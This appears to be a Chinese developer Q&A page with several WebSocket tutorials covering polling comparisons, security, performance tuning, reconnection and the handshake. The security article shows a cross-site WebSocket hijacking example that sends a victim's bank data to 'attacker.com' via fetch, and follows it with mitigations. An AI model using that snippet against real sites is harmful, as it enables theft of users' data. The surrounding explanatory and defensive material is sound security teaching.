乐闻世界logo
搜索文章和话题

WebSocket

WebSocket 是一种网络通信协议,提供了在单个TCP连接上进行全双工通讯的能力。它是HTML5一部分的先进技术,允许服务器和客户端之间进行实时、双向的交互通信。WebSocket设计用来取代传统的轮询连接,如长轮询,使得数据可以快速地在客户端和服务器之间传输,从而减少延迟。
WebSocket
查看更多相关内容
WebSocket与HTTP轮询、长轮询有什么区别?在实时通信场景中,WebSocket、HTTP轮询和长轮询是三种常见的技术方案。 ## HTTP轮询(Polling) ### 工作原理 客户端定期向服务器发送HTTP请求,询问是否有新数据。 ```javascript // 客户端轮询实现 setInterval(() => { fetch('/api/check-updates') .then(response => response.json()) .then(data => { if (data.hasUpdates) { console.log('收到更新:', data.updates); } }); }, 5000); // 每5秒请求一次 ``` ### 优点 * 实现简单,兼容性好 * 服务器无需特殊配置 * 容易理解和使用 ### 缺点 * **延迟高**:最多等待一个轮询周期 * **资源浪费**:大量无效请求 * **服务器压力大**:频繁的HTTP请求 * **带宽浪费**:每次请求都携带HTTP头部 ## HTTP长轮询(Long Polling) ### 工作原理 客户端发送请求后,服务器保持连接打开,直到有新数据或超时才返回。 ```javascript // 客户端长轮询实现 function longPoll() { fetch('/api/long-poll') .then(response => response.json()) .then(data => { console.log('收到数据:', data); longPoll(); // 立即发起新的请求 }) .catch(error => { setTimeout(longPoll, 5000); // 错误后延迟重试 }); } longPoll(); ``` ### 优点 * **实时性较好**:服务器有数据立即返回 * **减少请求次数**:相比短轮询减少无效请求 ### 缺点 * **连接管理复杂**:需要处理超时和重连 * **服务器资源占用**:保持大量打开的连接 * **仍然有延迟**:超时时间设置需要权衡 ## WebSocket ### 工作原理 建立持久连接,服务器和客户端可以随时发送消息。 ```javascript // WebSocket实现 const ws = new WebSocket('ws://example.com/socket'); ws.onopen = () => { console.log('连接已建立'); }; ws.onmessage = (event) => { console.log('收到消息:', event.data); }; ws.onerror = (error) => { console.error('WebSocket错误:', error); }; ws.onclose = () => { console.log('连接已关闭'); }; ``` ### 优点 * **真正的实时性**:双向通信,零延迟 * **低开销**:建立连接后只需少量数据传输 * **全双工**:服务器和客户端可以同时发送消息 * **高效**:减少HTTP头部开销 ### 缺点 * **实现复杂度较高**:需要处理连接状态、重连等 * **服务器要求高**:需要支持WebSocket协议 * **兼容性问题**:旧浏览器不支持 * **防火墙限制**:某些网络环境可能阻止WebSocket ## 性能对比 | 指标 | HTTP轮询 | 长轮询 | WebSocket | | ------ | ------ | --- | --------- | | 实时性 | 低 | 中 | 高 | | 服务器负载 | 高 | 中 | 低 | | 带宽消耗 | 高 | 中 | 低 | | 实现复杂度 | 低 | 中 | 高 | | 浏览器兼容性 | 最好 | 好 | 良好 | ## 适用场景 ### HTTP轮询 * 数据更新频率低 * 实时性要求不高 * 简单的配置检查 ### 长轮询 * 需要较好的实时性 * 服务器资源充足 * 不想引入WebSocket复杂度 ### WebSocket * 高实时性要求 * 双向通信需求 * 频繁的数据交换 * 在线聊天、游戏、实时监控等
服务端 · 2月18日 22:09
WebSocket有哪些安全问题?如何解决?WebSocket虽然提供了高效的实时通信能力,但也面临多种安全挑战。了解并解决这些安全问题至关重要。 ## 主要安全风险 ### 1. 跨站WebSocket劫持(CSWSH) **问题描述**:攻击者利用用户的已登录状态,通过恶意网页建立WebSocket连接,窃取敏感数据。 **攻击示例**: ```html <!-- 恶意网站 --> <script> const ws = new WebSocket('wss://bank.example.com/account'); ws.onmessage = (event) => { // 发送窃取的数据到攻击者服务器 fetch('https://attacker.com/steal', { method: 'POST', body: event.data }); }; </script> ``` **解决方案**: ```javascript // 服务器端验证Origin头部 const allowedOrigins = ['https://example.com']; wss.on('upgrade', (request, socket, head) => { const origin = request.headers.origin; if (!allowedOrigins.includes(origin)) { socket.destroy(); return; } // 继续WebSocket握手 }); ``` ### 2. 数据注入攻击 **问题描述**:未经验证的数据直接处理,可能导致XSS、SQL注入等攻击。 **解决方案**: ```javascript // 客户端:发送前验证数据 function sendSafeMessage(ws, message) { // 验证消息格式 if (!isValidMessage(message)) { console.error('无效的消息格式'); return; } // 转义特殊字符 const safeMessage = sanitizeMessage(message); ws.send(JSON.stringify(safeMessage)); } // 服务器端:接收后验证数据 wss.on('connection', (ws) => { ws.on('message', (data) => { try { const message = JSON.parse(data); // 验证消息结构 if (!validateMessageSchema(message)) { ws.close(1003, 'Invalid message format'); return; } // 处理消息 handleMessage(message); } catch (error) { ws.close(1002, 'Protocol error'); } }); }); ``` ### 3. 中间人攻击 **问题描述**:攻击者拦截并篡改WebSocket通信。 **解决方案**: ```javascript // 始终使用WSS(WebSocket Secure) const ws = new WebSocket('wss://example.com/socket'); // 服务器端配置SSL/TLS const httpsServer = https.createServer({ cert: fs.readFileSync('cert.pem'), key: fs.readFileSync('key.pem') }); const wss = new WebSocket.Server({ server: httpsServer }); ``` ### 4. 认证和授权 **问题描述**:未授权用户建立连接或访问受保护资源。 **解决方案**: ```javascript // 方案1:通过URL参数传递token const ws = new WebSocket(`wss://example.com/socket?token=${token}`); // 服务器端验证token wss.on('connection', (ws, request) => { const token = new URL(request.url, 'http://localhost').searchParams.get('token'); if (!verifyToken(token)) { ws.close(1008, 'Unauthorized'); return; } // 连接成功,处理业务逻辑 }); // 方案2:通过子协议传递认证信息 const ws = new WebSocket('wss://example.com/socket', ['auth-token', token]); // 服务器端验证子协议 wss.on('connection', (ws, request) => { const protocols = request.headers['sec-websocket-protocol']; if (!protocols || !verifyProtocol(protocols)) { ws.close(1008, 'Unauthorized'); return; } }); ``` ### 5. 拒绝服务攻击(DoS) **问题描述**:大量恶意连接或大消息导致服务器资源耗尽。 **解决方案**: ```javascript // 限制连接数量 const MAX_CONNECTIONS = 1000; const connectionCount = new Map(); wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; const count = connectionCount.get(ip) || 0; if (count >= MAX_CONNECTIONS_PER_IP) { ws.close(1008, 'Too many connections'); return; } connectionCount.set(ip, count + 1); ws.on('close', () => { const currentCount = connectionCount.get(ip) || 0; connectionCount.set(ip, Math.max(0, currentCount - 1)); }); }); // 限制消息大小 const MAX_MESSAGE_SIZE = 1024 * 1024; // 1MB wss.on('connection', (ws) => { ws.on('message', (data) => { if (data.length > MAX_MESSAGE_SIZE) { ws.close(1009, 'Message too large'); return; } // 处理消息 }); }); // 限制消息频率 const rateLimiter = new Map(); wss.on('connection', (ws, request) => { const ip = request.socket.remoteAddress; ws.on('message', (data) => { const now = Date.now(); const userMessages = rateLimiter.get(ip) || []; // 清理1分钟前的记录 const recentMessages = userMessages.filter(time => now - time < 60000); if (recentMessages.length >= 100) { // 每分钟最多100条消息 ws.close(1008, 'Rate limit exceeded'); return; } recentMessages.push(now); rateLimiter.set(ip, recentMessages); // 处理消息 }); }); ``` ### 6. 消息完整性验证 **问题描述**:消息在传输过程中被篡改。 **解决方案**: ```javascript // 使用HMAC验证消息完整性 const crypto = require('crypto'); const SECRET_KEY = 'your-secret-key'; function signMessage(message) { const hmac = crypto.createHmac('sha256', SECRET_KEY); hmac.update(JSON.stringify(message)); return hmac.digest('hex'); } function verifyMessage(message, signature) { const expectedSignature = signMessage(message); return crypto.timingSafeEqual( Buffer.from(signature), Buffer.from(expectedSignature) ); } // 客户端发送消息 const message = { type: 'chat', content: 'Hello' }; const signature = signMessage(message); ws.send(JSON.stringify({ message, signature })); // 服务器端验证消息 wss.on('connection', (ws) => { ws.on('message', (data) => { const { message, signature } = JSON.parse(data); if (!verifyMessage(message, signature)) { ws.close(1002, 'Invalid signature'); return; } // 处理消息 }); }); ``` ## 安全最佳实践 1. **使用WSS**:始终使用加密的WebSocket连接 2. **验证Origin**:服务器端验证请求来源 3. **输入验证**:对所有输入数据进行严格验证 4. **输出编码**:对输出数据进行适当的编码 5. **认证授权**:实现完善的认证和授权机制 6. **速率限制**:防止DoS攻击 7. **日志记录**:记录所有连接和消息,便于审计 8. **定期更新**:及时更新WebSocket库和依赖 9. **安全头部**:设置适当的安全响应头 10. **监控告警**:实时监控异常行为并及时告警
服务端 · 2月18日 22:08
WebSocket如何进行性能优化?# WebSocket性能优化策略 WebSocket虽然本身性能优异,但在实际应用中仍需进行多方面的优化以确保最佳性能。 ## 连接管理优化 ### 1. 连接池管理 ```javascript class WebSocketPool { constructor(url, maxConnections = 10) { this.url = url; this.maxConnections = maxConnections; this.connections = []; this.pendingRequests = []; } async getConnection() { // 查找空闲连接 const idleConnection = this.connections.find(conn => conn.busy === false); if (idleConnection) { idleConnection.busy = true; return idleConnection.ws; } // 创建新连接 if (this.connections.length < this.maxConnections) { const ws = await this.createConnection(); this.connections.push({ ws, busy: true }); return ws; } // 等待可用连接 return new Promise(resolve => { this.pendingRequests.push(resolve); }); } releaseConnection(ws) { const connection = this.connections.find(conn => conn.ws === ws); if (connection) { connection.busy = false; // 处理等待的请求 if (this.pendingRequests.length > 0) { const resolve = this.pendingRequests.shift(); connection.busy = true; resolve(ws); } } } async createConnection() { return new Promise((resolve, reject) => { const ws = new WebSocket(this.url); ws.onopen = () => resolve(ws); ws.onerror = reject; }); } } ``` ### 2. 连接复用 ```javascript // 单例模式管理全局WebSocket连接 class GlobalWebSocket { static instance = null; constructor(url) { if (GlobalWebSocket.instance) { return GlobalWebSocket.instance; } this.url = url; this.ws = null; this.messageHandlers = new Map(); this.connect(); GlobalWebSocket.instance = this; } connect() { this.ws = new WebSocket(this.url); this.ws.onmessage = (event) => { const { type, data } = JSON.parse(event.data); const handlers = this.messageHandlers.get(type) || []; handlers.forEach(handler => handler(data)); }; } subscribe(type, handler) { if (!this.messageHandlers.has(type)) { this.messageHandlers.set(type, []); } this.messageHandlers.get(type).push(handler); } unsubscribe(type, handler) { const handlers = this.messageHandlers.get(type) || []; const index = handlers.indexOf(handler); if (index !== -1) { handlers.splice(index, 1); } } } // 使用示例 const ws = new GlobalWebSocket('ws://example.com/socket'); ws.subscribe('chat', (data) => console.log('收到聊天消息:', data)); ws.subscribe('notification', (data) => console.log('收到通知:', data)); ``` ## 消息传输优化 ### 1. 消息压缩 ```javascript // 使用pako库进行gzip压缩 import pako from 'pako'; class CompressibleWebSocket { constructor(url) { this.ws = new WebSocket(url); this.setupMessageHandlers(); } send(data) { const json = JSON.stringify(data); const compressed = pako.gzip(json); this.ws.send(compressed); } setupMessageHandlers() { this.ws.onmessage = (event) => { const compressed = new Uint8Array(event.data); const decompressed = pako.ungzip(compressed, { to: 'string' }); const data = JSON.parse(decompressed); this.handleMessage(data); }; } handleMessage(data) { // 处理解压后的消息 } } ``` ### 2. 消息批量发送 ```javascript class BatchWebSocket { constructor(url, batchSize = 10, batchTimeout = 100) { this.ws = new WebSocket(url); this.batch = []; this.batchSize = batchSize; this.batchTimeout = batchTimeout; this.batchTimer = null; } send(message) { this.batch.push(message); // 达到批量大小立即发送 if (this.batch.length >= this.batchSize) { this.flush(); } else { // 设置超时发送 this.scheduleFlush(); } } scheduleFlush() { if (this.batchTimer) { clearTimeout(this.batchTimer); } this.batchTimer = setTimeout(() => { this.flush(); }, this.batchTimeout); } flush() { if (this.batch.length === 0) return; const batch = [...this.batch]; this.batch = []; if (this.batchTimer) { clearTimeout(this.batchTimer); this.batchTimer = null; } this.ws.send(JSON.stringify({ type: 'batch', messages: batch })); } } ``` ### 3. 消息优先级 ```javascript class PriorityWebSocket { constructor(url) { this.ws = new WebSocket(url); this.highPriorityQueue = []; this.normalPriorityQueue = []; this.lowPriorityQueue = []; this.isSending = false; this.setupMessageHandlers(); } send(message, priority = 'normal') { const queue = this.getQueue(priority); queue.push(message); this.processQueue(); } getQueue(priority) { switch (priority) { case 'high': return this.highPriorityQueue; case 'low': return this.lowPriorityQueue; default: return this.normalPriorityQueue; } } async processQueue() { if (this.isSending) return; const message = this.getNextMessage(); if (!message) return; this.isSending = true; try { await this.sendMessage(message); } catch (error) { console.error('发送消息失败:', error); // 重新加入队列 this.normalPriorityQueue.unshift(message); } this.isSending = false; this.processQueue(); } getNextMessage() { if (this.highPriorityQueue.length > 0) { return this.highPriorityQueue.shift(); } if (this.normalPriorityQueue.length > 0) { return this.normalPriorityQueue.shift(); } if (this.lowPriorityQueue.length > 0) { return this.lowPriorityQueue.shift(); } return null; } sendMessage(message) { return new Promise((resolve, reject) => { this.ws.send(JSON.stringify(message)); resolve(); }); } } ``` ## 服务器端优化 ### 1. 负载均衡 ```javascript // 使用Redis进行WebSocket连接的负载均衡 const Redis = require('ioredis'); const redis = new Redis(); class LoadBalancedWebSocketServer { constructor(server) { this.wss = new WebSocket.Server({ server }); this.setupLoadBalancing(); } setupLoadBalancing() { this.wss.on('connection', (ws, request) => { const userId = this.getUserId(request); const serverId = this.getServerId(userId); // 如果连接不在当前服务器,重定向 if (serverId !== this.currentServerId) { ws.close(1000, `Redirect to ${serverId}`); return; } // 注册连接 this.registerConnection(userId, ws); ws.on('close', () => { this.unregisterConnection(userId); }); }); } async registerConnection(userId, ws) { await redis.hset('websocket_connections', userId, this.currentServerId); this.connections.set(userId, ws); } async unregisterConnection(userId) { await redis.hdel('websocket_connections', userId); this.connections.delete(userId); } async sendToUser(userId, message) { const serverId = await redis.hget('websocket_connections', userId); if (serverId === this.currentServerId) { const ws = this.connections.get(userId); if (ws && ws.readyState === WebSocket.OPEN) { ws.send(JSON.stringify(message)); } } else { // 转发到目标服务器 this.forwardToServer(serverId, userId, message); } } getServerId(userId) { // 一致性哈希算法 return consistentHash(userId, this.serverList); } } ``` ### 2. 消息广播优化 ```javascript class OptimizedBroadcastServer { constructor(server) { this.wss = new WebSocket.Server({ server }); this.rooms = new Map(); this.setupBroadcast(); } setupBroadcast() { this.wss.on('connection', (ws, request) => { const { roomId } = this.parseRequest(request); // 加入房间 this.joinRoom(ws, roomId); ws.on('message', (data) => { const message = JSON.parse(data); this.broadcastToRoom(roomId, message, ws); }); ws.on('close', () => { this.leaveRoom(ws, roomId); }); }); } joinRoom(ws, roomId) { if (!this.rooms.has(roomId)) { this.rooms.set(roomId, new Set()); } this.rooms.get(roomId).add(ws); } leaveRoom(ws, roomId) { const room = this.rooms.get(roomId); if (room) { room.delete(ws); if (room.size === 0) { this.rooms.delete(roomId); } } } broadcastToRoom(roomId, message, excludeWs) { const room = this.rooms.get(roomId); if (!room) return; const data = JSON.stringify(message); room.forEach(ws => { if (ws !== excludeWs && ws.readyState === WebSocket.OPEN) { ws.send(data); } }); } } ``` ## 监控和调优 ### 1. 性能监控 ```javascript class WebSocketMonitor { constructor(ws) { this.ws = ws; this.metrics = { messagesSent: 0, messagesReceived: 0, bytesSent: 0, bytesReceived: 0, latency: [], errors: 0 }; this.setupMonitoring(); } setupMonitoring() { const originalSend = this.ws.send.bind(this.ws); this.ws.send = (data) => { this.metrics.messagesSent++; this.metrics.bytesSent += data.length; return originalSend(data); }; this.ws.onmessage = (event) => { this.metrics.messagesReceived++; this.metrics.bytesReceived += event.data.length; // 计算延迟 if (event.data.timestamp) { const latency = Date.now() - event.data.timestamp; this.metrics.latency.push(latency); // 只保留最近100个延迟记录 if (this.metrics.latency.length > 100) { this.metrics.latency.shift(); } } }; this.ws.onerror = () => { this.metrics.errors++; }; } getMetrics() { return { ...this.metrics, averageLatency: this.calculateAverageLatency(), p99Latency: this.calculateP99Latency() }; } calculateAverageLatency() { if (this.metrics.latency.length === 0) return 0; const sum = this.metrics.latency.reduce((a, b) => a + b, 0); return sum / this.metrics.latency.length; } calculateP99Latency() { if (this.metrics.latency.length === 0) return 0; const sorted = [...this.metrics.latency].sort((a, b) => a - b); const index = Math.floor(sorted.length * 0.99); return sorted[index]; } } ``` ## 最佳实践 1. **连接复用**:避免频繁创建和销毁连接 2. **消息压缩**:对大消息进行压缩传输 3. **批量发送**:合并小消息减少网络往返 4. **优先级队列**:重要消息优先发送 5. **负载均衡**:分散连接到多个服务器 6. **监控指标**:实时监控性能指标 7. **及时调优**:根据监控数据调整策略 8. **资源清理**:及时清理无用连接和资源
服务端 · 2月18日 22:08
WebSocket如何实现断线重连?# WebSocket断线重连机制详解 WebSocket连接可能会因为网络波动、服务器重启、超时等原因断开,实现可靠的断线重连机制至关重要。 ## 连接状态检测 WebSocket有四种连接状态: ```javascript const ws = new WebSocket('ws://example.com'); // 0: CONNECTING - 正在连接 // 1: OPEN - 已连接 // 2: CLOSING - 正在关闭 // 3: CLOSED - 已关闭 console.log(ws.readyState); // 获取当前状态 ``` ## 基础重连实现 ```javascript class WebSocketManager { constructor(url) { this.url = url; this.ws = null; this.reconnectAttempts = 0; this.maxReconnectAttempts = 5; this.reconnectInterval = 3000; // 3秒 this.shouldReconnect = true; this.connect(); } connect() { this.ws = new WebSocket(this.url); this.ws.onopen = () => { console.log('WebSocket连接已建立'); this.reconnectAttempts = 0; }; this.ws.onclose = (event) => { console.log('WebSocket连接已关闭:', event.code, event.reason); if (this.shouldReconnect) { this.reconnect(); } }; this.ws.onerror = (error) => { console.error('WebSocket错误:', error); }; } reconnect() { if (this.reconnectAttempts >= this.maxReconnectAttempts) { console.error('达到最大重连次数,停止重连'); return; } this.reconnectAttempts++; const delay = this.getReconnectDelay(); console.log(`${delay}ms后尝试第${this.reconnectAttempts}次重连`); setTimeout(() => { this.connect(); }, delay); } getReconnectDelay() { // 指数退避策略 return Math.min( this.reconnectInterval * Math.pow(2, this.reconnectAttempts - 1), 30000 // 最大30秒 ); } disconnect() { this.shouldReconnect = false; if (this.ws) { this.ws.close(); } } } // 使用示例 const wsManager = new WebSocketManager('ws://example.com/socket'); ``` ## 优雅关闭处理 ```javascript class WebSocketManager { // ... 其他代码 close(code = 1000, reason = 'Normal closure') { this.shouldReconnect = false; if (this.ws && this.ws.readyState === WebSocket.OPEN) { this.ws.close(code, reason); } } // 在onclose中判断是否为正常关闭 ws.onclose = (event) => { // 正常关闭状态码:1000 if (event.code === 1000) { console.log('正常关闭连接'); return; } // 异常关闭,尝试重连 if (this.shouldReconnect) { this.reconnect(); } }; } ``` ## 常见关闭状态码 | 状态码 | 含义 | |--------|------| | 1000 | 正常关闭 | | 1001 | 端点离开 | | 1002 | 协议错误 | | 1003 | 不支持的数据类型 | | 1005 | 无状态码(内部使用) | | 1006 | 连接异常关闭 | | 1007 | 数据类型不一致 | | 1008 | 策略违规 | | 1009 | 消息过大 | | 1010 | 缺少扩展 | | 1011 | 内部错误 | | 1015 | TLS握手失败 | ## 心跳检测与重连 ```javascript class WebSocketManager { constructor(url) { // ... 其他初始化 this.heartbeatInterval = 30000; // 30秒 this.heartbeatTimer = null; this.pongTimeout = 5000; // 5秒超时 this.pongTimer = null; } startHeartbeat() { this.heartbeatTimer = setInterval(() => { if (this.ws && this.ws.readyState === WebSocket.OPEN) { this.sendPing(); } }, this.heartbeatInterval); } sendPing() { this.ws.send(JSON.stringify({ type: 'ping' })); // 设置pong超时 this.pongTimer = setTimeout(() => { console.error('心跳超时,关闭连接'); this.ws.close(); }, this.pongTimeout); } handlePong() { if (this.pongTimer) { clearTimeout(this.pongTimer); this.pongTimer = null; } } ws.onmessage = (event) => { const data = JSON.parse(event.data); if (data.type === 'pong') { this.handlePong(); } // 处理其他消息... }; ws.onopen = () => { this.startHeartbeat(); }; ws.onclose = () => { this.stopHeartbeat(); }; stopHeartbeat() { if (this.heartbeatTimer) { clearInterval(this.heartbeatTimer); this.heartbeatTimer = null; } if (this.pongTimer) { clearTimeout(this.pongTimer); this.pongTimer = null; } } } ``` ## 离线检测 ```javascript class WebSocketManager { constructor(url) { // ... 其他初始化 this.setupOfflineDetection(); } setupOfflineDetection() { window.addEventListener('online', () => { console.log('网络已恢复,尝试重连'); if (!this.ws || this.ws.readyState !== WebSocket.OPEN) { this.connect(); } }); window.addEventListener('offline', () => { console.log('网络已断开'); }); } } ``` ## 最佳实践 1. **指数退避**:重连间隔逐渐增加,避免服务器压力 2. **最大重连次数**:防止无限重连 3. **心跳机制**:及时检测连接状态 4. **优雅关闭**:区分正常和异常关闭 5. **离线检测**:监听网络状态变化 6. **状态通知**:向用户反馈连接状态 7. **消息队列**:重连期间缓存消息,连接成功后发送
服务端 · 2月18日 22:08
WebSocket 是什么?它与 HTTP 有什么区别?WebSocket 是一种网络通信协议,提供了在单个 TCP 连接上进行全双工通讯的能力。它是 HTML5 的一部分,允许服务器和客户端之间进行实时、双向的交互通信。 ## 与 HTTP 的主要区别 ### 1. 通信模式 - **HTTP**: 半双工通信,客户端发起请求,服务器响应后连接关闭 - **WebSocket**: 全双工通信,双方可以同时发送和接收数据 ### 2. 连接持久性 - **HTTP**: 无状态协议,每次请求都需要建立新的连接 - **WebSocket**: 持久连接,建立后可以保持长时间通信 ### 3. 协议开销 - **HTTP**: 每次请求都包含完整的 HTTP 头部,开销较大 - **WebSocket**: 建立连接后,数据帧头部很小(2-14 字节),开销极低 ### 4. 实时性 - **HTTP**: 需要轮询或长轮询来实现实时通信,延迟较高 - **WebSocket**: 服务器可以主动推送数据,实时性强 ## WebSocket 协议特点 ### 握手过程 WebSocket 通过 HTTP 升级机制建立连接: ``` 客户端请求: GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 服务器响应: HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= ``` ### 数据帧格式 WebSocket 使用轻量级的数据帧格式,支持文本和二进制数据传输。 ## 应用场景 - 实时聊天应用 - 在线游戏 - 股票行情推送 - 协同编辑 - 实时监控和仪表板
服务端 · 2月18日 21:45
WebSocket 的性能优化技术有哪些?WebSocket 性能优化需要从多个层面进行,包括协议层面、应用层面和架构层面。以下是关键的性能优化技术: ## 1. 消息压缩 ### 启用 permessage-deflate 扩展 ```javascript // 客户端启用压缩 const ws = new WebSocket('wss://example.com/socket', { perMessageDeflate: { threshold: 1024, // 超过1KB的消息才压缩 clientMaxWindowBits: 15, serverMaxWindowBits: 15, clientNoContextTakeover: false, serverNoContextTakeover: false } }); // 服务器端(Node.js ws库) const WebSocket = require('ws'); const wss = new WebSocket.Server({ perMessageDeflate: { threshold: 1024, zlibDeflateOptions: { level: 3, // 压缩级别 1-9,3是平衡点 concurrency: 10 }, zlibInflateOptions: { chunkSize: 10 * 1024 } } }); ``` **压缩效果:** - 文本消息可减少 60-80% 的大小 - JSON 数据压缩效果显著 - 注意:小消息压缩可能反而增加开销 ## 2. 消息批处理和合并 ### 批量发送小消息 ```javascript class MessageBatcher { constructor(ws, batchSize = 10, batchTimeout = 100) { this.ws = ws; this.batchSize = batchSize; this.batchTimeout = batchTimeout; this.messageQueue = []; this.batchTimer = null; } add(message) { this.messageQueue.push(message); if (this.messageQueue.length >= this.batchSize) { this.flush(); } else if (!this.batchTimer) { this.batchTimer = setTimeout(() => this.flush(), this.batchTimeout); } } flush() { if (this.messageQueue.length === 0) return; const batch = { type: 'batch', messages: this.messageQueue, timestamp: Date.now() }; this.ws.send(JSON.stringify(batch)); this.messageQueue = []; if (this.batchTimer) { clearTimeout(this.batchTimer); this.batchTimer = null; } } } // 使用示例 const batcher = new MessageBatcher(ws); batcher.add({ type: 'chat', text: 'Hello' }); batcher.add({ type: 'status', value: 'online' }); ``` ## 3. 二进制数据传输 ### 使用二进制格式传输大数据 ```javascript // 发送二进制数据 const largeData = new ArrayBuffer(1024 * 1024); // 1MB 数据 ws.send(largeData); // 使用 ArrayBuffer 和 TypedArray 优化 function sendOptimizedData(ws, data) { // 将对象转换为二进制格式 const buffer = new ArrayBuffer(data.length * 4); const view = new Float32Array(buffer); for (let i = 0; i < data.length; i++) { view[i] = data[i]; } ws.send(buffer); } // 接收二进制数据 ws.binaryType = 'arraybuffer'; ws.onmessage = (event) => { if (event.data instanceof ArrayBuffer) { const view = new Float32Array(event.data); // 处理二进制数据 } }; ``` **优势:** - 比文本格式更紧凑 - 解析速度更快 - 内存占用更少 ## 4. 连接复用和池化 ### 客户端连接池 ```javascript class WebSocketPool { constructor(url, poolSize = 3) { this.url = url; this.poolSize = poolSize; this.connections = []; this.activeCount = 0; } async getConnection() { // 查找空闲连接 const available = this.connections.find(ws => ws.readyState === WebSocket.OPEN && !ws.inUse ); if (available) { available.inUse = true; return available; } // 创建新连接 if (this.connections.length < this.poolSize) { const ws = new WebSocket(this.url); ws.inUse = true; this.connections.push(ws); return ws; } // 等待连接释放 return new Promise(resolve => { const checkInterval = setInterval(() => { const free = this.connections.find(ws => ws.readyState === WebSocket.OPEN && !ws.inUse ); if (free) { clearInterval(checkInterval); free.inUse = true; resolve(free); } }, 100); }); } releaseConnection(ws) { ws.inUse = false; } } ``` ## 5. 数据结构优化 ### 使用高效的数据格式 ```javascript // 使用 Protocol Buffers 替代 JSON const protobuf = require('protobufjs'); // 定义消息结构 const messageSchema = protobuf.loadSync('message.proto'); const Message = messageSchema.lookupType('Message'); // 编码 const message = Message.encode({ type: 'chat', content: 'Hello', timestamp: Date.now() }); // 发送 ws.send(message.finish()); // 解码 ws.onmessage = (event) => { const decoded = Message.decode(new Uint8Array(event.data)); // 处理解码后的数据 }; ``` **性能对比:** - Protocol Buffers: 编码/解码快 5-10 倍 - MessagePack: 比 JSON 小 20-30% - FlatBuffers: 零拷贝访问 ## 6. 心跳优化 ### 自适应心跳机制 ```javascript class AdaptiveHeartbeat { constructor(ws, initialInterval = 30000) { this.ws = ws; this.interval = initialInterval; this.minInterval = 5000; this.maxInterval = 60000; this.rtt = 0; this.timer = null; } start() { this.scheduleNextPing(); } scheduleNextPing() { this.timer = setTimeout(() => { const startTime = Date.now(); this.ws.send(JSON.stringify({ type: 'ping', timestamp: startTime })); this.ws.once('message', (data) => { const message = JSON.parse(data); if (message.type === 'pong') { this.rtt = Date.now() - startTime; this.adjustInterval(); } }); this.scheduleNextPing(); }, this.interval); } adjustInterval() { // 根据 RTT 调整心跳间隔 if (this.rtt < 100) { this.interval = Math.min(this.interval * 0.9, this.maxInterval); } else if (this.rtt > 500) { this.interval = Math.max(this.interval * 1.1, this.minInterval); } } } ``` ## 7. 服务器端优化 ### 使用高性能 WebSocket 库 ```javascript // 使用 uWS(比 ws 快 10-20 倍) const uWS = require('uWebSockets.js'); const app = uWS.App().ws('/*', { compression: 1, // 启用压缩 maxPayloadLength: 16 * 1024 * 1024, // 16MB idleTimeout: 60, open: (ws) => { // 连接打开 }, message: (ws, message, isBinary) => { // 处理消息 ws.send(message, isBinary); }, close: (ws, code, message) => { // 连接关闭 } }).listen(3000, (token) => { if (token) { console.log('Server started'); } }); ``` ## 8. 监控和调优 ### 性能监控指标 ```javascript class PerformanceMonitor { constructor() { this.metrics = { messagesSent: 0, messagesReceived: 0, bytesSent: 0, bytesReceived: 0, latency: [], errors: 0 }; } recordMessage(size, latency) { this.metrics.messagesSent++; this.metrics.bytesSent += size; this.metrics.latency.push(latency); // 保持最近1000个样本 if (this.metrics.latency.length > 1000) { this.metrics.latency.shift(); } } getStats() { const avgLatency = this.metrics.latency.reduce((a, b) => a + b, 0) / this.metrics.latency.length; return { ...this.metrics, avgLatency: avgLatency.toFixed(2), throughput: (this.metrics.bytesSent / 1024 / 1024).toFixed(2) + ' MB/s' }; } } ``` ## 性能优化建议总结 1. **启用压缩**:对大消息使用 permessage-deflate 2. **批处理**:合并小消息减少网络往返 3. **二进制格式**:使用二进制数据传输大数据 4. **连接复用**:避免频繁创建连接 5. **高效序列化**:使用 Protocol Buffers 等格式 6. **自适应心跳**:根据网络状况调整心跳间隔 7. **高性能库**:使用 uWS 等优化库 8. **监控调优**:持续监控性能指标并优化
服务端 · 2月18日 21:44
WebSocket 握手过程是如何工作的?WebSocket 握手是一个从 HTTP 协议升级到 WebSocket 协议的过程,通过 HTTP Upgrade 机制实现。 ## 握手流程详解 ### 1. 客户端发起握手请求 客户端发送一个特殊的 HTTP GET 请求,包含以下关键头部字段: ``` GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Version: 13 Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits ``` **关键头部说明:** - `Upgrade: websocket`: 告诉服务器客户端想要升级到 WebSocket 协议 - `Connection: Upgrade`: 表示这是一个升级连接 - `Sec-WebSocket-Key`: 客户端生成的随机字符串,用于验证服务器 - `Sec-WebSocket-Version`: WebSocket 协议版本,当前为 13 - `Sec-WebSocket-Protocol`: 可选,指定子协议 - `Sec-WebSocket-Extensions`: 可选,指定扩展功能 ### 2. 服务器验证并响应 服务器收到请求后,进行以下验证: 1. 验证 `Sec-WebSocket-Key` 是否存在 2. 将 `Sec-WebSocket-Key` 与 GUID `258EAFA5-E914-47DA-95CA-C5AB0DC85B11` 拼接 3. 对拼接后的字符串进行 SHA-1 哈希 4. 将哈希结果进行 Base64 编码 5. 将编码结果放入 `Sec-WebSocket-Accept` 头部 服务器响应: ``` HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= Sec-WebSocket-Protocol: chat ``` ### 3. 连接建立成功 服务器返回 101 状态码后,HTTP 连接升级为 WebSocket 连接,双方开始使用 WebSocket 数据帧进行通信。 ## 握手安全性 ### 防止跨站 WebSocket 劫持(CSWSH) - `Origin` 头部验证:服务器检查请求来源 - `Sec-WebSocket-Key` 验证:防止缓存投毒攻击 ### 最佳实践 - 使用 WSS(WebSocket Secure)加密连接 - 验证 `Origin` 头部 - 实施适当的认证机制 - 限制连接频率
服务端 · 2月18日 21:43
